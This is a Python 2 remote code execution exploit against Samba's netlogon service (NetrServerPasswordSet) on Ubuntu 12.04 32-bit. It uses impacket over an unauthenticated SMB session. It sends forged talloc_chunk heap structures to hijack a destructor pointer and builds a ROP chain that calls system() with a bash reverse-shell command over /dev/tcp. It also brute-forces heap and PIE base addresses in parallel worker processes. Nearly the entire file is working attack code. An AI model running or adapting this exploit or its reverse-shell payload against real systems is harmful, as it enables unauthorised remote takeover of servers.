#!/usr/bin/env python2
# Author: kelwin@chaitin.com
# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2
import sys
import signal
import time
# https://github.com/zTrix/zio
from zio import *
from multiprocessing import Pool, Manager
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *
host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"
# 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
pop4ret_o = 0x41e2cb
# 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0
pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32
def exploit(free_addr, pie=0, destructor=-1, step=0x80):
pivot = pie + pivot_o
pop4ret = pie + pop4ret_o
popebx = pie + popebx_o
got = pie + got_o
fmt = pie + fmt_o
system = pie + system_o
snprintf = pie + snprintf_o
bss = pie + bss_o
if pie != 0:
destructor = pivot
# struct talloc_chunk {
# struct talloc_chunk *next, *prev;
# struct talloc_chunk *parent, *child;
# struct talloc_reference_handle *refs; // refs = 0
# talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
# const char *name;
# size_t size;
# unsigned flags; // magic
# void *poo
# };
talloc_chunk = l32(0) # refs => 0
talloc_chunk += l32(destructor) # destructor => control EIP
talloc_chunk += l32(pop4ret) # pop4ret
talloc_chunk += 'leet' #
talloc_chunk += l32(0xe8150c70) # flags => magic
# ebx => got
rop = l32(popebx) + l32(got)
# write cmd to bss
for i in xrange(len(cmd)):
c = cmd[i]
rop += l32(snprintf) + l32(pop4ret)
rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
# system(cmd)
rop += l32(system) + 'leet' + l32(bss)
payload = 'deadbeef'
payload += talloc_chunk * 0x1000 * step
payload += 'leet' * 2
payload += rop.ljust(2560, 'C')
payload += 'cafebabe' + '\0'
username = ''
password = ''
###
# impacket does not implement NetrServerPasswordSet
###
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(NDRCALL):
structure = (
('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode',NTSTATUS),
)
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(port)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
sessionKey = '\x00' * 16
###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = payload
primaryName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
primaryName.fields['ReferentID'] = free_addr
request = NetrServerPasswordSet()
request['PrimaryName'] = primaryName
request['AccountName'] = username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = host + '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
DCERPCSessionError = nrpc.DCERPCSessionError
try:
resp = dce.request(request)
print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
print("seems not vulnerable")
# resp.dump()
dce.disconnect()
return 2
except DCERPCSessionError as e:
# expect error_code: 0xc0000225 - STATUS_NOT_FOUND
# expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
print("seems not vulnerable")
# resp.dump()
dce.disconnect()
return 2
except impacket.nmb.NetBIOSError as e:
# print 'exception occured'
if e.args[0] == 'Error while reading from remote':
# print("connection lost!!!\nmight be vulnerable")
return 1
else:
raise
except AttributeError:
# print("exception")
return 0
def init_worker():
signal.signal(signal.SIGINT, signal.SIG_IGN)
def guess_heap(free_addr, step, hits):
if len(hits) > 0: return
log("[+] trying heap addr %s" % hex(free_addr), 'green')
res = exploit(free_addr, destructor=-1, step=step)
if res == 0:
res = exploit(free_addr, destructor=0, step=step)
if res != 0:
log("hit: %s" % hex(free_addr), 'red')
hits.append(free_addr)
def guess_pie(free_addr, pie, step):
log("[+] trying pie base addr %s" % hex(pie), 'green')
try:
exploit(free_addr, pie=pie, step=step)
except impacket.nmb.NetBIOSTimeout:
pass
def brute_force_heap(step):
hit = False
print "Initializng 10 processes for brute forcing heap address..."
pool = Pool(10, init_worker)
manager = Manager()
hits = manager.list()
for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
for offset in xrange(5):
pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))
try:
while True:
time.sleep(5)
if len(hits) > 0:
pool.terminate()
pool.join()
return hits[0]
except KeyboardInterrupt:
print "Caught KeyboardInterrupt, terminating..."
pool.terminate()
pool.join()
sys.exit(0)
def brute_force_pie(free_addr, step):
print "Initializng 10 processes for brute forcing PIE base address..."
pool = Pool(10, init_worker)
for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
pool.apply_async(guess_pie, (free_addr, pie, step))
try:
time.sleep(60 * 60)
except KeyboardInterrupt:
print "Caught KeyboardInterrupt, terminating..."
pool.terminate()
pool.join()
else:
pool.close()
pool.join()
step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)